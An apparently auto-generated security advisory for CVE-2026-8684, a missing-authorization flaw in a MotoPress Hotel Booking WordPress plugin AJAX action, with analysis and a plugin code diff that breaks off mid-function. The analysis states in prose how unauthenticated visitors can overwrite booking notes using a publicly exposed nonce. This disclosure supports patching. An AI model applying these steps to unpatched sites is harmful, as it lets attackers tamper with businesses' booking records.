Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 21, 2026

CVE-2026-8684: MotoPress Hotel Booking <= 6.0.1 – Missing Authorization to Unauthenticated Arbitrary Booking Notes Modification via mphb_update_booking_notes AJAX Action (motopress-hotel-booking-lite)

CVE ID CVE-2026-8684
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 6.0.1
Patched Version 6.0.2
Disclosed May 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8684: This vulnerability allows unauthenticated attackers to overwrite or delete internal booking notes in the MotoPress Hotel Booking plugin for WordPress (versions up to 6.0.1). The issue resides in the mphb_update_booking_notes AJAX action. The CVSS score is 5.3 (Medium).

The root cause is a missing authorization check in the doAction() method of the UpdateBookingNotes class (includes/ajax-api/ajax-actions/update-booking-notes.php). The vulnerable code path does not verify the user’s capability before processing the request. The patch adds a call to current_user_can(CapabilitiesAndRoles::EDIT_BOOKINGS) inside doAction(). Additionally, the isActionForGuestUser() method was added returning false, and the getValidatedRequestData() method now validates that the booking exists before proceeding.

An attacker can exploit this by sending an AJAX POST request to /wp-admin/admin-ajax.php with action=mphb_update_booking_notes, booking_id set to an arbitrary booking ID, and notes containing the desired replacement content. The nonce required for the action is exposed on every public page via wp_localize_script (MPHB._data.nonces). Any unauthenticated visitor can obtain this nonce from the page source and use it to forge valid requests.

The patch adds a capability check: if (!current_user_can(CapabilitiesAndRoles::EDIT_BOOKINGS)) within the doAction() method. It also introduces isActionForGuestUser() returning false, which prevents the action from being accessible without authentication. The before state allowed any request with a valid nonce (accessible to everyone) to modify booking notes. The after state requires the user to have the EDIT_BOOKINGS capability, effectively restricting the action to administrators or authorized users.

The impact is unauthorized modification or deletion of internal booking notes (_mphb_booking_internal_notes). This could allow an attacker to manipulate booking records, remove audit trail information, or inject misleading notes. While this does not directly expose payment data or allow complete booking deletion, it compromises the integrity of booking management and could be used to hide evidence of other malicious activities.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/motopress-hotel-booking-lite/functions.php
+++ b/motopress-hotel-booking-lite/functions.php
@@ -894,6 +894,7 @@
 function mphb_get_polyfill_for( $function ) {
 	switch ( $function ) {
 		case 'mb_convert_encoding':
+		case 'mb_encode_numericentity':
 			require_once MPHB()->getPluginPath( 'includes/polyfills/mbstring.php' );
 			break;
 	}
@@ -1234,16 +1235,16 @@
  * @since 3.8
  */
 function mphb_get_available_rooms( $from, $to, $atts = array() ) {
-		$roomTypeId = isset( $atts['room_type_id'] ) ? $atts['room_type_id'] : 0;
-		$searchAtts = array();
+	$roomTypeId = isset( $atts['room_type_id'] ) ? $atts['room_type_id'] : 0;
+	$searchAtts = array();

 	if ( isset( $atts['exclude_bookings'] ) ) {
-			$searchAtts['exclude_bookings'] = $atts['exclude_bookings'];
+		$searchAtts['exclude_bookings'] = $atts['exclude_bookings'];
 	}

-		$searchAtts['skip_buffer_rules'] = false;
+	$searchAtts['skip_buffer_rules'] = false;

-		return MPHB()->getRoomRepository()->getAvailableRooms( $from, $to, $roomTypeId, $searchAtts );
+	return MPHB()->getRoomRepository()->getAvailableRooms( $from, $to, $roomTypeId, $searchAtts );
 }

 /**
@@ -1525,11 +1526,13 @@
  *
  * @param  string $tip       Help tip text.
  * @param  bool   $allowHtml Allow sanitized HTML if true or escape.
+ * @param  string $cssClass  Custom CSS class.
+ *
  * @return string
  *
  * @since  3.9.8
  */
-function mphb_help_tip( $tip, $allowHtml = false ) {
+function mphb_help_tip( $tip, $allowHtml = false, $cssClass = '' ) {
 	if ( $allowHtml ) {
 		$tip = htmlspecialchars(
 			wp_kses(
@@ -1551,7 +1554,7 @@
 		$tip = esc_attr( $tip );
 	}

-	return '<span class="mphb-help-tip" data-tip="' . $tip . '"></span>';
+	return '<span class="mphb-help-tip ' . esc_attr( $cssClass ) . '" data-tip="' . $tip . '"></span>';
 }

 /**
--- a/motopress-hotel-booking-lite/includes/admin/edit-cpt-pages/booking-edit-cpt-page.php
+++ b/motopress-hotel-booking-lite/includes/admin/edit-cpt-pages/booking-edit-cpt-page.php
@@ -161,14 +161,7 @@
 		$booking = MPHB()->getBookingRepository()->findById( $post->ID );

 		foreach ( array_reverse( $booking->getLogs() ) as $log ) {
-			?>
-			<strong> <?php esc_html_e( 'Date:', 'motopress-hotel-booking' ); ?></strong>
-			<span>
-				<?php comment_date( MPHB()->settings()->dateTime()->getDateTimeFormatWP( ' @ ' ), $log->comment_ID ); ?>
-			</span>
-			<br/>
-			<strong><?php esc_html_e( 'Author:', 'motopress-hotel-booking' ); ?></strong>
-			<?php
+
 			if ( ! empty( $log->user_id ) ) {
 				$userInfo = get_userdata( $log->user_id );
 				$userName = $userInfo ? $userInfo->display_name : ( $log->comment_author ?: 'DELETED' );
@@ -185,21 +178,24 @@
 				$authorName = '<i>' . __( 'Auto', 'motopress-hotel-booking' ) . '</i>';
 			}
 			?>
-			<span>
-			<?php
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-				echo $authorName;
-			?>
-				</span>
-			<br/>
-			<strong><?php esc_html_e( 'Message:', 'motopress-hotel-booking' ); ?></strong>
-			<span>
-			<?php
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-				echo $log->comment_content;
-			?>
+			<div class="mphb-log-wrapper">
+				<div class="mphb-log-message">
+				<?php
+					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+					echo $log->comment_content;
+				?>
+				</div>
+				<span class="mphb-log-meta">
+				<?php
+					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+					printf(
+						'%s / %s',
+						comment_date( MPHB()->settings()->dateTime()->getDateTimeFormatWP( ' @ ' ), $log->comment_ID ),
+						$authorName
+					);
+				?>
 				</span>
-			<hr/>
+			</div>
 			<?php
 		}
 	}
--- a/motopress-hotel-booking-lite/includes/admin/edit-cpt-pages/payment-edit-cpt-page.php
+++ b/motopress-hotel-booking-lite/includes/admin/edit-cpt-pages/payment-edit-cpt-page.php
@@ -91,24 +91,24 @@
 	public function renderLogMetaBox( $post, $metabox ) {
 		$payment = MPHB()->getPaymentRepository()->findById( $post->ID );

-		echo '<textarea rows="3" name="_mphb_add_log" style="width:100%"></textarea><br/>';
-
 		foreach ( array_reverse( $payment->getLogs() ) as $log ) {
 			?>
-			<hr/>
-			<strong> <?php esc_html_e( 'Date:', 'motopress-hotel-booking' ); ?></strong>
-			<span>
+			<div class="mphb-log-wrapper">
+				<div class="mphb-log-message">
+				<?php
+					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+					echo $log['message'];
+				?>
+				</div>
+				<span class="mphb-log-meta">
 				<?php echo esc_html( mysql2date( MPHB()->settings()->dateTime()->getDateTimeFormatWP( ' @ ' ), $log['date'] ) ); ?>
-			</span><br/>
-			<strong><?php esc_html_e( 'Message:', 'motopress-hotel-booking' ); ?></strong>
-			<span>
-			<?php
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-				echo $log['message'];
-			?>
 				</span>
+			</div>
 			<?php
 		}
+
+		echo '<br/><textarea rows="2" name="_mphb_add_log" style="width:100%" placeholder="' .
+			esc_html( 'Add new', 'motopress-hotel-booking' ) . '"></textarea>';
 	}

 	public function saveMetaBoxes( $postId, $post, $update ) {
--- a/motopress-hotel-booking-lite/includes/admin/fields/price-breakdown-field.php
+++ b/motopress-hotel-booking-lite/includes/admin/fields/price-breakdown-field.php
@@ -2,6 +2,12 @@

 namespace MPHBAdminFields;

+use MPHBViewsBookingView;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 class PriceBreakdownField extends InputField {

 	const TYPE = 'price-breakdown';
@@ -19,7 +25,10 @@
 		$priceBreakdown = json_decode( mphb_strip_price_breakdown_json( $this->value ), true );

 		if ( is_array( $priceBreakdown ) ) {
-			$result .= MPHBViewsBookingView::generatePriceBreakdownArray( $priceBreakdown );
+			$result .= BookingView::generatePriceBreakdownArray(
+				$priceBreakdown,
+				array( 'coupon_removable' => false )
+			);
 		}

 		$result .= '</div>';
--- a/motopress-hotel-booking-lite/includes/admin/fields/total-price-field.php
+++ b/motopress-hotel-booking-lite/includes/admin/fields/total-price-field.php
@@ -11,11 +11,14 @@
 	protected $inputType = 'number';

 	public function renderInput() {
+
 		// [MB-684] Prevent excess number of digits
 		$this->value = round( $this->value, MPHB()->settings()->currency()->getPriceDecimalsCount() );
-		$result      = parent::renderInput();
-		$result     .= '<span class="description">' . MPHB()->settings()->currency()->getCurrencySymbol() . '</span>';
+
+		$result      = sprintf( MPHB()->settings()->currency()->getPriceFormat(), parent::renderInput() );
 		$result     .= ' <button type="button" id="mphb-recalculate-total-price" class="button button-secondary">' . __( 'Recalculate Total Price', 'motopress-hotel-booking' ) . '</button>';
+		$result     .= ' ' . mphb_help_tip(
+						__( 'Recalculate the total price and price breakdown using current rates, fees, taxes, and coupons. No changes are saved until the booking is updated.', 'motopress-hotel-booking' ), false, 'mphb-help-tip__size-medium' );
 		$result     .= '<span class="mphb-preloader mphb-hide"></span>';
 		$result     .= '<div class="mphb-errors-wrapper mphb-hide"></div>';
 		return $result;
--- a/motopress-hotel-booking-lite/includes/admin/fields/variable-pricing-field.php
+++ b/motopress-hotel-booking-lite/includes/admin/fields/variable-pricing-field.php
@@ -106,7 +106,8 @@
 				$result .= '</tr>';

 				$result .= '<tr class="mphb-pricing-headers">';
-					$result .= '<th colspan="2">' . esc_html__( 'Base Occupancy', 'motopress-hotel-booking' ) . '</th>';
+					$result .= '<th colspan="2">' . esc_html__( 'Base Occupancy', 'motopress-hotel-booking' ) . ' ' . mphb_help_tip(
+						__( 'Number of guests included in the base nightly price.', 'motopress-hotel-booking' ) ) . '</th>';
 					$result .= '<th class="mphb-pricing-price-per-night" colspan="' . count( $periods ) . '">' . esc_html__( 'Price per night', 'motopress-hotel-booking' ) . '</th>';
 					$result .= '<th> </th>';
 				$result .= '</tr>';
--- a/motopress-hotel-booking-lite/includes/admin/manage-cpt-pages/coupon-manage-cpt-page.php
+++ b/motopress-hotel-booking-lite/includes/admin/manage-cpt-pages/coupon-manage-cpt-page.php
@@ -37,70 +37,80 @@
 		switch ( $column ) {

 			case 'amount':
+
 				// Accommodation discount
-				esc_html_e( 'Accommodation:', 'motopress-hotel-booking' );
+				if ( $coupon->getRoomDiscountType() !== CouponCPT::TYPE_ACCOMMODATION_NONE ) {

-				echo ' ';
+					esc_html_e( 'Accommodation:', 'motopress-hotel-booking' );

-				switch ( $coupon->getRoomDiscountType() ) {
-					case CouponCPT::TYPE_ACCOMMODATION_NONE:
-						echo esc_html( self::EMPTY_VALUE_PLACEHOLDER );
-						break;
-
-					case CouponCPT::TYPE_ACCOMMODATION_PERCENTAGE:
-						printf( '%d%%', $coupon->getRoomAmount() );
-						break;
-
-					case CouponCPT::TYPE_ACCOMMODATION_FIXED:
-						echo mphb_format_price( $coupon->getRoomAmount() );
-						break;
-
-					case CouponCPT::TYPE_ACCOMMODATION_FIXED_PER_DAY:
-						// translators: %s is a coupon amount per day
-						printf( esc_html__( '%s per day', 'motopress-hotel-booking' ), mphb_format_price( $coupon->getRoomAmount() ) );
-						break;
-				}
+					echo ' ';

-				echo '<br>';
+					switch ( $coupon->getRoomDiscountType() ) {
+						case CouponCPT::TYPE_ACCOMMODATION_NONE:
+							echo esc_html( self::EMPTY_VALUE_PLACEHOLDER );
+							break;

-				// Service discount
-				esc_html_e( 'Service:', 'motopress-hotel-booking' );
+						case CouponCPT::TYPE_ACCOMMODATION_PERCENTAGE:
+							printf( '%d%%', $coupon->getRoomAmount() );
+							break;
+
+						case CouponCPT::TYPE_ACCOMMODATION_FIXED:
+							echo mphb_format_price( $coupon->getRoomAmount() );
+							break;

-				echo ' ';
+						case CouponCPT::TYPE_ACCOMMODATION_FIXED_PER_DAY:
+							// translators: %s is a coupon amount per day
+							printf( esc_html__( '%s per day', 'motopress-hotel-booking' ), mphb_format_price( $coupon->getRoomAmount() ) );
+							break;
+					}

-				switch ( $coupon->getServiceDiscountType() ) {
-					case CouponCPT::TYPE_SERVICE_NONE:
-						echo esc_html( self::EMPTY_VALUE_PLACEHOLDER );
-						break;
-
-					case CouponCPT::TYPE_SERVICE_PERCENTAGE:
-						printf( '%d%%', $coupon->getServiceAmount() );
-						break;
-
-					case CouponCPT::TYPE_SERVICE_FIXED:
-						echo mphb_format_price( $coupon->getServiceAmount() );
-						break;
+					echo '<br>';
 				}

-				echo '<br>';
+				// Service discount
+				if ( $coupon->getServiceDiscountType() !== CouponCPT::TYPE_SERVICE_NONE ) {
+
+					esc_html_e( 'Service:', 'motopress-hotel-booking' );
+
+					echo ' ';
+
+					switch ( $coupon->getServiceDiscountType() ) {
+						case CouponCPT::TYPE_SERVICE_NONE:
+							echo esc_html( self::EMPTY_VALUE_PLACEHOLDER );
+							break;
+
+						case CouponCPT::TYPE_SERVICE_PERCENTAGE:
+							printf( '%d%%', $coupon->getServiceAmount() );
+							break;
+
+						case CouponCPT::TYPE_SERVICE_FIXED:
+							echo mphb_format_price( $coupon->getServiceAmount() );
+							break;
+					}
+
+					echo '<br>';
+				}

 				// Fee discount
-				esc_html_e( 'Fee:', 'motopress-hotel-booking' );
+				if ( $coupon->getFeeDiscountType() !== CouponCPT::TYPE_FEE_NONE ) {
+
+					esc_html_e( 'Fee:', 'motopress-hotel-booking' );
+
+					echo ' ';
+
+					switch ( $coupon->getFeeDiscountType() ) {
+						case CouponCPT::TYPE_FEE_NONE:
+							echo esc_html( self::EMPTY_VALUE_PLACEHOLDER );
+							break;

-				echo ' ';
+						case CouponCPT::TYPE_FEE_PERCENTAGE:
+							printf( '%d%%', $coupon->getFeeAmount() );
+							break;

-				switch ( $coupon->getFeeDiscountType() ) {
-					case CouponCPT::TYPE_FEE_NONE:
-						echo esc_html( self::EMPTY_VALUE_PLACEHOLDER );
-						break;
-
-					case CouponCPT::TYPE_FEE_PERCENTAGE:
-						printf( '%d%%', $coupon->getFeeAmount() );
-						break;
-
-					case CouponCPT::TYPE_FEE_FIXED:
-						echo mphb_format_price( $coupon->getFeeAmount() );
-						break;
+						case CouponCPT::TYPE_FEE_FIXED:
+							echo mphb_format_price( $coupon->getFeeAmount() );
+							break;
+					}
 				}

 				break;
@@ -108,7 +118,7 @@
 			case 'usage_count':
 				if ( $coupon->getUsageLimit() ) {

-					printf( '%d/%d', $coupon->getUsageCount(), $coupon->getUsageLimit() );
+					printf( '%d / %d', $coupon->getUsageCount(), $coupon->getUsageLimit() );

 				} else {

--- a/motopress-hotel-booking-lite/includes/admin/menu-pages/settings-menu-page.php
+++ b/motopress-hotel-booking-lite/includes/admin/menu-pages/settings-menu-page.php
@@ -49,7 +49,7 @@
 			$generateTabs[] = self::TAB_ADVANCED;
 		}

-		if ( MPHB()->settings()->license()->isEnabled() ) {
+		if ( MPHB()->settings()->license()->isVisible() ) {
 			$generateTabs[] = self::TAB_LICENSE;
 		}

--- a/motopress-hotel-booking-lite/includes/admin/menu-pages/taxes-and-fees-menu-page.php
+++ b/motopress-hotel-booking-lite/includes/admin/menu-pages/taxes-and-fees-menu-page.php
@@ -179,7 +179,7 @@
 						'limit',
 						array(
 							'type'        => 'number',
-							'label'       => __( 'Limit', 'motopress-hotel-booking' ) . mphb_help_tip(
+							'label'       => __( 'Limit', 'motopress-hotel-booking' ) . ' ' . mphb_help_tip(
 								__( 'How often this fee is charged. Set 0 to charge each day of the stay period. Set 1 to charge once.', 'motopress-hotel-booking' )
 							),
 							'inner_label' => __( 'days', 'motopress-hotel-booking' ),
@@ -194,7 +194,7 @@
 						'included',
 						array(
 							'type'        => 'single-checkbox',
-							'label'       => __( 'Include', 'motopress-hotel-booking' ) . mphb_help_tip(
+							'label'       => __( 'Include', 'motopress-hotel-booking' ) . ' ' . mphb_help_tip(
 								__( 'Show accommodation rate with this charge included', 'motopress-hotel-booking' )
 							),
 							'inner_label' => __( 'Include', 'motopress-hotel-booking' ),
@@ -275,7 +275,7 @@
 						'limit',
 						array(
 							'type'        => 'number',
-							'label'       => __( 'Limit', 'motopress-hotel-booking' ) . mphb_help_tip(
+							'label'       => __( 'Limit', 'motopress-hotel-booking' ) . ' ' . mphb_help_tip(
 								__( 'Limit of days the fee is charged. Set 0 to charge each day of stay period. Set 1 to charge once.', 'motopress-hotel-booking' )
 							),
 							'inner_label' => __( 'days', 'motopress-hotel-booking' ),
@@ -290,7 +290,7 @@
 						'included',
 						array(
 							'type'        => 'single-checkbox',
-							'label'       => __( 'Include', 'motopress-hotel-booking' ) . mphb_help_tip(
+							'label'       => __( 'Include', 'motopress-hotel-booking' ) . ' ' . mphb_help_tip(
 								__( 'Show accommodation rate with this charge included', 'motopress-hotel-booking' )
 							),
 							'inner_label' => __( 'Include', 'motopress-hotel-booking' ),
@@ -361,7 +361,7 @@
 						'limit',
 						array(
 							'type'        => 'number',
-							'label'       => __( 'Limit', 'motopress-hotel-booking' ) . mphb_help_tip(
+							'label'       => __( 'Limit', 'motopress-hotel-booking' ) . ' ' . mphb_help_tip(
 								__( 'Limit of days the fee is charged. Set 0 to charge each day of stay period. Set 1 to charge once.', 'motopress-hotel-booking' )
 							),
 							'inner_label' => __( 'days', 'motopress-hotel-booking' ),
@@ -432,7 +432,7 @@
 						'limit',
 						array(
 							'type'        => 'number',
-							'label'       => __( 'Limit', 'motopress-hotel-booking' ) . mphb_help_tip(
+							'label'       => __( 'Limit', 'motopress-hotel-booking' ) . ' ' . mphb_help_tip(
 								__( 'Limit of days the fee is charged. Set 0 to charge each day of stay period. Set 1 to charge once.', 'motopress-hotel-booking' )
 							),
 							'inner_label' => __( 'days', 'motopress-hotel-booking' ),
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/get-blocks-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/get-blocks-controller.php
@@ -68,20 +68,19 @@
 				'sanitize_callback' => 'rest_sanitize_request_arg',
 			),
 			'per_page'     => array(
-				'description' => 'Maximum number of items to be returned in result set.',
-				'oneOf'       => array(
+				'description'       => 'Maximum number of items to be returned in result set.',
+				'oneOf'             => array(
 					array(
-						'type'              => 'integer',
-						'minimum'           => 1,
-						'sanitize_callback' => 'rest_sanitize_request_arg',
+						'type'    => 'integer',
+						'minimum' => 1,
 					),
 					array(
-						'type'              => 'integer',
-						'minimum'           => -1,
-						'maximum'           => -1,
-						'sanitize_callback' => 'rest_sanitize_request_arg',
+						'type'    => 'integer',
+						'minimum' => -1,
+						'maximum' => -1,
 					),
 				),
+				'sanitize_callback' => 'rest_sanitize_request_arg',
 			),
 			'restrictions' => array(
 				'type'              => 'array',
--- a/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/submit-checkout-controller.php
+++ b/motopress-hotel-booking-lite/includes/advanced/api/controllers/v1/submit-checkout-controller.php
@@ -89,11 +89,6 @@
 				'required'             => true,
 				'sanitize_callback'    => 'rest_sanitize_request_arg',
 			),
-			'note' => array(
-				'type'              => 'string',
-				'default'           => '',
-				'sanitize_callback' => 'rest_sanitize_request_arg',
-			),
 			'payment_details' => array(
 				'type'              => 'object',
 				'properties'        => array(
@@ -274,7 +269,7 @@
 			'check_out_date' => $checkOutDate,
 			'checkout_id'    => $requestArgs['checkout_id'],
 			'customer'       => $customer,
-			'note'           => $requestArgs['note'],
+			'note'           => $customerData['note'] ?? '',
 			'reserved_rooms' => self::parseRooms( $requestArgs, $checkInDate, $checkOutDate ),
 			'status'         => MPHB()->postTypes()->booking()->statuses()->getDefaultNewBookingStatus(),
 		);
@@ -309,7 +304,10 @@
 		$isDoingPayment = apply_filters( 'mphb_checkout_doing_payment', $isDoingPayment );

 		if ( $isDoingPayment ) {
-			$paymentDetails = $requestArgs['payment_details'] + array(
+			// There is no "payment_details" in $requestArgs if the booking is free
+			$paymentDetails = $requestArgs['payment_details'] ?? array();
+
+			$paymentDetails += array(
 				'currency'       => MPHB()->settings()->currency()->getCurrencyCode(),
 				'gateway_id'     => 'manual',
 				'payment_fields' => array(),
--- a/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/update-booking-notes.php
+++ b/motopress-hotel-booking-lite/includes/ajax-api/ajax-actions/update-booking-notes.php
@@ -2,6 +2,7 @@

 namespace MPHBAjaxApi;

+use MPHBUsersAndRolesCapabilitiesAndRoles;
 use MPHBUtilsValidateUtils;

 if ( ! defined( 'ABSPATH' ) ) {
@@ -16,6 +17,10 @@
 	const REQUEST_DATA_BOOKING_ID = 'booking_id';
 	const REQUEST_DATA_NOTES = 'notes';

+	public static function isActionForGuestUser() {
+		return false;
+	}
+
 	public static function getAjaxActionNameWithouPrefix() {
 		return 'update_booking_notes';
 	}
@@ -27,7 +32,14 @@
 	protected static function getValidatedRequestData() {
 		$requestData = parent::getValidatedRequestData();

-		$requestData[ static::REQUEST_DATA_BOOKING_ID ] = static::getIntegerFromRequest( static::REQUEST_DATA_BOOKING_ID, true );
+		$bookingId = static::getIntegerFromRequest( static::REQUEST_DATA_BOOKING_ID, $isRequired = true );
+		$booking   = mphb_bookings_facade()->findBookingById( $bookingId );
+
+		if ( is_null( $booking ) ) {
+			throw new Exception( esc_html__( 'The booking not found.', 'motopress-hotel-booking' ) );
+		}
+
+		$requestData[ static::REQUEST_DATA_BOOKING_ID ] = $bookingId;

 		// $isRequired = false to save [] when the list is empty, since jQuery.ajax() skips empty objects
 		$requestData[ static::REQUEST_DATA_NOTES ] = static::getNotesFromRequest( static::REQUEST_DATA_NOTES );
@@ -77,6 +89,10 @@
 	}

 	protected static function doAction( array $requestData ) {
+		if ( ! current_user_can( CapabilitiesAndRoles::EDIT_BOOKINGS ) ) {
+			throw new Exception( esc_html__( 'Request does not pass security verification. Please refresh the page and try one more time.', 'motopress-hotel-booking' ) );
+		}
+
 		$bookingId = $requestData[ static::REQUEST_DATA_BOOKING_ID ];
 		$notes = $requestData[ static::REQUEST_DATA_NOTES ];

--- a/motopress-hotel-booking-lite/includes/ajax.php
+++ b/motopress-hotel-booking-lite/includes/ajax.php
@@ -290,7 +290,10 @@
 				// [MB-684] Prevent excess number of digits
 				'total'                => round( $booking->calcPrice(), MPHB()->settings()->currency()->getPriceDecimalsCount() ),
 				'price_breakdown'      => json_encode( $priceBreakdown ),
-				'price_breakdown_html' => BookingView::generatePriceBreakdownArray( $priceBreakdown ),
+				'price_breakdown_html' => BookingView::generatePriceBreakdownArray(
+					$priceBreakdown,
+					array( 'coupon_removable' => false )
+				),
 			)
 		);
 	}
--- a/motopress-hotel-booking-lite/includes/core/data/booking-rules-data.php
+++ b/motopress-hotel-booking-lite/includes/core/data/booking-rules-data.php
@@ -104,7 +104,7 @@
 	private $cachedRulesByDates = array();

 	/**
-	 * See <code>loadBlocksForMonth()</code>.
+	 * See <code>getBlocksForMonth()</code>.
 	 *
 	 * @var array <code>[ Block ID => [ room_type_id, room_id, ... ] ]</code>
 	 */
@@ -112,11 +112,13 @@

 	/**
 	 * New items are added with each new month's load. See
-	 * <code>loadBlocksForMonth()</code>.
+	 * <code>getBlocksByDate()</code>.
 	 *
 	 * @var array <code>[
-	 *     Date string ("Y-m-d") => [
-	 *         Block ID => [ room_type_id, room_id, ... ]
+	 *     Room type ID (int) => [
+	 *         Date string ("Y-m-d") => [
+	 *             Block ID => [ room_type_id, room_id, ... ]
+	 *         ]
 	 *     ]
 	 * ]</code>
 	 */
@@ -478,17 +480,16 @@
 			}

 			$allRoomsCount = 0;
+
 			if ( 0 === $roomTypeOriginalId ) {
 				$allRoomsCount = MPHB()->getRoomPersistence()->getCount();
-			}
-
-			if ( 0 < $roomTypeOriginalId ) {
+			} elseif ( 0 < $roomTypeOriginalId ) {
 				$allRoomsCount = count( MPHB()->getRoomPersistence()->findAllIdsByType( $roomTypeOriginalId ) );
 			}

-			$result['not_check_in'] = $result['not_check_in'] ?? $allRoomsCount <= $notCheckInRoomsCount;
+			$result['not_check_in']  = $result['not_check_in']  ?? $allRoomsCount <= $notCheckInRoomsCount;
 			$result['not_check_out'] = $result['not_check_out'] ?? $allRoomsCount <= $notCheckOutRoomsCount;
-			$result['not_stay_in'] = $result['not_stay_in'] ?? $allRoomsCount <= $notStayInRoomsCount;
+			$result['not_stay_in']   = $result['not_stay_in']   ?? $allRoomsCount <= $notStayInRoomsCount;

 			$result = array_merge(
 				array(
@@ -1163,27 +1164,70 @@
 	}

 	/**
+	 * @param int $roomTypeId Room type ID or 0 (all room types).
 	 * @return array <code>[ Block ID => [ room_type_id, room_id, ... ] ]</code>
 	 */
 	private function getBlocksByDate( int $roomTypeId, DateTime $date ): array {
 		$dateStr = DateUtils::formatDateDB( $date );

 		if ( ! isset( $this->blocksByDate[ $roomTypeId ][ $dateStr ] ) ) {
-			$this->loadBlocksForMonth( $roomTypeId, $date );
+			$blocksByDate = $this->getBlocksForMonth( $roomTypeId, $date );
+
+			// Treat trashed rooms as deleted, especially since "trash" is not
+			// included in the "all" list in RoomPersistence
+
+			// Filter trashed rooms
+			$trashedRooms = mphb_rooms_facade()->getTrashedRoomIds( $roomTypeId );
+
+			if ( ! empty( $trashedRooms ) ) {
+				foreach ( array_keys( $blocksByDate ) as $dateStr ) {
+					$blocksByDate[ $dateStr ] = array_filter(
+						$blocksByDate[ $dateStr ],
+						fn( $block ) => ! in_array( $block['room_id'], $trashedRooms )
+					);
+				}
+			}
+
+			// Filter trashed room types
+			if ( $roomTypeId === 0 ) {
+				$trashedRoomTypes = mphb_rooms_facade()->getTrashedRoomTypeIds();
+
+				if ( ! empty( $trashedRoomTypes ) ) {
+					foreach ( array_keys( $blocksByDate ) as $dateStr ) {
+						$blocksByDate[ $dateStr ] = array_filter(
+							$blocksByDate[ $dateStr ],
+							fn( $block ) => ! in_array( $block['room_type_id'], $trashedRoomTypes )
+						);
+					}
+				}
+			}
+
+			if ( ! isset( $this->blocksByDate[ $roomTypeId ] ) ) {
+				$this->blocksByDate[ $roomTypeId ] = array();
+			}
+
+			$this->blocksByDate[ $roomTypeId ] += $blocksByDate;
 		}

 		return $this->blocksByDate[ $roomTypeId ][ $dateStr ];
 	}

-	private function loadBlocksForMonth( int $roomTypeId, DateTime $dateOfMonth ): void {
-		$monthStartStr = date( 'Y-m-01', $dateOfMonth->getTimestamp() );
-		$monthEndStr   = date( 'Y-m-t', $dateOfMonth->getTimestamp() );
+	/**
+	 * @return array <code>[
+	 *     Date string ("Y-m-d") => [
+	 *         Block ID => [ room_type_id, room_id, ... ]
+	 *     ]
+	 * ]
+	 */
+	private function getBlocksForMonth( int $roomTypeId, DateTime $dateOfMonth ): array {
+		$monthStartStr = $dateOfMonth->format( 'Y-m-01' );
+		$monthEndStr   = $dateOfMonth->format( 'Y-m-t' );

 		$monthStart    = DateUtils::createDate( $monthStartStr );
 		$monthEnd      = DateUtils::createDate( $monthEndStr );

 		if ( $monthStart === null || $monthEnd === null ) {
-			return;
+			return array();
 		}

 		$blocksForMonth = MPHB()->getBlocksRepository()->getItemsForPeriod( $roomTypeId, $monthStartStr, $monthEndStr );
@@ -1208,10 +1252,6 @@
 			}
 		}

-		if ( ! isset( $this->blocksByDate[ $roomTypeId ] ) ) {
-			$this->blocksByDate[ $roomTypeId ] = [];
-		}
-
-		$this->blocksByDate[ $roomTypeId ] += $blocksByDate;
+		return $blocksByDate;
 	}
 }
--- a/motopress-hotel-booking-lite/includes/core/rooms-core-api-facade.php
+++ b/motopress-hotel-booking-lite/includes/core/rooms-core-api-facade.php
@@ -162,4 +162,41 @@
 	public function updateRoomType( RoomType $roomType ): void {
 		MPHB()->getRoomTypeRepository()->save( $roomType );
 	}
+
+	/**
+	 * @return int[]
+	 */
+	public function getTrashedRoomIds( int $roomTypeId = 0 ): array {
+		if ( ! $roomTypeId ) {
+			return MPHB()->getRoomPersistence()->getPosts(
+				array(
+					'fields'         => 'ids',
+					'post_status'    => 'trash',
+					'posts_per_page' => -1,
+				)
+			);
+		} else {
+			return MPHB()->getRoomPersistence()->getPosts(
+				array(
+					'fields'         => 'ids',
+					'post_status'    => 'trash',
+					'posts_per_page' => -1,
+					'room_type_id'   => $roomTypeId,
+				)
+			);
+		}
+	}
+
+	/**
+	 * @return int[]
+	 */
+	public function getTrashedRoomTypeIds(): array {
+		return MPHB()->getRoomTypePersistence()->getPosts(
+			array(
+				'fields'         => 'ids',
+				'post_status'    => 'trash',
+				'posts_per_page' => -1,
+			)
+		);
+	}
 }
--- a/motopress-hotel-booking-lite/includes/emails/abstract-email.php
+++ b/motopress-hotel-booking-lite/includes/emails/abstract-email.php
@@ -286,10 +286,10 @@
 		// apply CSS styles inline for picky email clients
 		$emogrifier = new EmogrifierEmogrifier( $html, $styles );

-		// Load polyfill for function mb_convert_encoding() if it not exists.
-		// Emogrifier is bad in converting non-ASCII characters. See MB-1023
-		if ( ! function_exists( 'mb_convert_encoding' ) ) {
-			mphb_get_polyfill_for( 'mb_convert_encoding' );
+		// Load polyfill for function mb_encode_numericentity() if it not exists.
+		// Emogrifier is bad in converting non-ASCII characters. See MPI-5089
+		if ( ! function_exists( 'mb_encode_numericentity' ) ) {
+			mphb_get_polyfill_for( 'mb_encode_numericentity' );
 		}

 		$html = $emogrifier->emogrify();
--- a/motopress-hotel-booking-lite/includes/libraries/emogrifier/emogrifier.php
+++ b/motopress-hotel-booking-lite/includes/libraries/emogrifier/emogrifier.php
@@ -558,8 +558,16 @@
 			$bodyWithoutUnprocessableTags = $this->html;
 		}

-		if ( function_exists( 'mb_convert_encoding' ) ) {
-			return mb_convert_encoding( $bodyWithoutUnprocessableTags, 'HTML-ENTITIES', self::ENCODING );
+		// Fork notice: mb_convert_encoding() replaced with mb_encode_numericentity() for MPI-13456
+		if ( function_exists( 'mb_encode_numericentity' ) ) {
+			return mb_encode_numericentity(
